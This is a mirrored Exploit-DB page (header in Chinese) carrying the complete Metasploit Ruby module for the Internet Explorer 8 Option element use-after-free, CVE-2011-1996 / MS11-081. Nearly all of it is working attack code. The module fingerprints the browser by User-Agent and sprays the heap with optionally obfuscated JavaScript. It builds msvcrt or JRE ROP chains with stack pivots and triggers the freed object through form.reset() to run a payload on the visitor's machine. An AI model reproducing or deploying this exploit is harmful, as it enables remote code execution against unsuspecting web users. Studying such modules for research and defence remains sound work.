Microsoft Internet Explorer – Option Element Use-After-Free (MS11-081) (Metasploit)

  • 作者: Metasploit
    日期: 2013-01-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24020/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    	include Msf::Exploit::RopDb
    
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "Microsoft Internet Explorer Option Element Use-After-Free",
    			'Description'=> %q{
    					This module exploits a vulnerability in Microsoft Internet Explorer.A memory
    				corruption may occur when the Option cache isn't updated properly, which allows
    				other JavaScript methods to access a deleted Option element, and results in code
    				execution under the context of the user.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Ivan Fratric',#Initial discovery
    					'juan vazquez',#Metasploit
    					'sinn3r' #Metasploit
    				],
    			'References' =>
    				[
    					[ 'CVE', '2011-1996' ],
    					[ 'MSB', 'MS11-081' ],
    					[ 'URL', 'http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' ],
    					[ 'URL', 'http://pastebin.com/YLH725Aj' ]
    				],
    			'Payload'=>
    				{
    					'StackAdjustment' => -3500,
    				},
    			'DefaultOptions'=>
    				{
    					'InitialAutoRunScript' => 'migrate -f'
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Automatic', {} ],
    					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
    					[ 'IE 8 on Windows Vista',{ 'Rop' => :jre,'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
    					[ 'IE 8 on Windows 7',{ 'Rop' => :jre,'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ]
    				],
    			'Privileged' => false,
    			'DisclosureDate' => "Oct 11 2012",
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
    			], self.class)
    
    	end
    
    	def get_target(agent)
    		#If the user is already specified by the user, we'll just use that
    		return target if target.name != 'Automatic'
    
    		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
    
    		ie_name = "IE #{ie}"
    
    		case nt
    		when '5.1'
    			os_name = 'Windows XP SP3'
    		when '6.0'
    			os_name = 'Windows Vista'
    		when '6.1'
    			os_name = 'Windows 7'
    		end
    
    		targets.each do |t|
    			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
    				print_status("Target selected as: #{t.name}")
    				return t
    			end
    		end
    
    		return nil
    	end
    
    	def ie_heap_spray(my_target, p)
    		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
    		js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
    
    		js = %Q|
    		function heap_spray() {
    			var heap_obj = new heapLib.ie(0x20000);
    			var code = unescape("#{js_code}");
    			var nops = unescape("#{js_nops}");
    			while (nops.length < 0x80000) nops += nops;
    			var offset = nops.substring(0, #{my_target['Offset']});
    			var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
    			while (shellcode.length < 0x40000) shellcode += shellcode;
    			var block = shellcode.substring(0, (0x80000-6)/2);
    			heap_obj.gc();
    			for (var i=1; i < 0x300; i++) {
    				heap_obj.alloc(block);
    			}
    			var overflow = nops.substring(0, 10);
    		}
    		|
    
    		js = heaplib(js, {:noobfu => true})
    
    		if datastore['OBFUSCATE']
    			js = ::Rex::Exploitation::JSObfu.new(js)
    			js.obfuscate
    			@heap_spray_func = js.sym("heap_spray")
    		end
    
    		return js
    	end
    
    	def get_payload(t, cli)
    		code = payload.encoded
    
    		# No rop. Just return the payload.
    		return code if t['Rop'].nil?
    
    		# Both ROP chains generated by mona.py - See corelan.be
    		case t['Rop']
    		when :msvcrt
    			print_status("Using msvcrt ROP")
    			rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
    			rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
    			rop_payload << "\xeb\x04" # jmp $+6
    			rop_payload << [0x77c15ed5].pack("V") # 0x0c0c0c0 # stackpivot => xchg eax, esp # ret
    			rop_payload << code
    		else
    			print_status("Using JRE ROP")
    			rop_payload = generate_rop_payload('java', '')
    			rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
    			rop_payload << "\xeb\x08" # jmp $+10
    			rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
    			rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
    			rop_payload << code
    		end
    
    		return rop_payload
    	end
    
    	def load_exploit_html(my_target, cli)
    		@heap_spray_func = "heap_spray"
    		p= get_payload(my_target, cli)
    		js = ie_heap_spray(my_target, p)
    
    
    		#var fakeobj = unescape("%u0c0c%u0c0c");
    		#call to 0c0c0c0c
    		#eax ==> 0c0c0a14
    		html = %Q|
    		<!DOCTYPE html>
    		<html>
    		<head>
    		<script>
    		#{js}
    
    		function ivan()
    		{
    
    			var fakeobj = unescape("%u0a14%u0c0c");
    			fakeobj += unescape("%u4141%u4141");
    			while (fakeobj.length <= 0x38/2) fakeobj += unescape("%u4141%u4141");
    
    			var formobj, selobj, optobj;
    			selobj = document.getElementById("select1");
    			formobj = selobj.form;
    
    			var imgarray = new Array();
    			for(var j = 0; j < 500; j++) {
    				imgarray.push(document.createElement("img"));
    			}
    
    			for(var i=0;i<5;i++) {
    				optobj = document.createElement('option');
    				optobj.text = "test";
    				selobj.add(optobj);
    			}
    
    			selobj.innerText = "foo";
    
    			for(var i = 0; i < imgarray.length; i++) {
    				imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1);
    			}
    
    			#{@heap_spray_func}();
    
    			formobj.reset();
    		}
    
    		</script>
    		</head>
    
    		<body onload='ivan()'>
    		<form method="post">
    		<select id="select1">
    		</select>
    		</form>
    		</body>
    		</html>
    		|
    
    		return html
    	end
    
    	def on_request_uri(cli, request)
    		agent = request.headers['User-Agent']
    		uri = request.uri
    		print_status("Requesting: #{uri}")
    
    		my_target = get_target(agent)
    		# Avoid the attack if no suitable target found
    		if my_target.nil?
    			print_error("Browser not supported, sending 404: #{agent}")
    			send_not_found(cli)
    			return
    		end
    
    		html = load_exploit_html(my_target, cli)
    		html = html.gsub(/^\t\t/, '')
    		print_status("Sending HTML...")
    		send_response(cli, html, {'Content-Type'=>'text/html'})
    	end
    end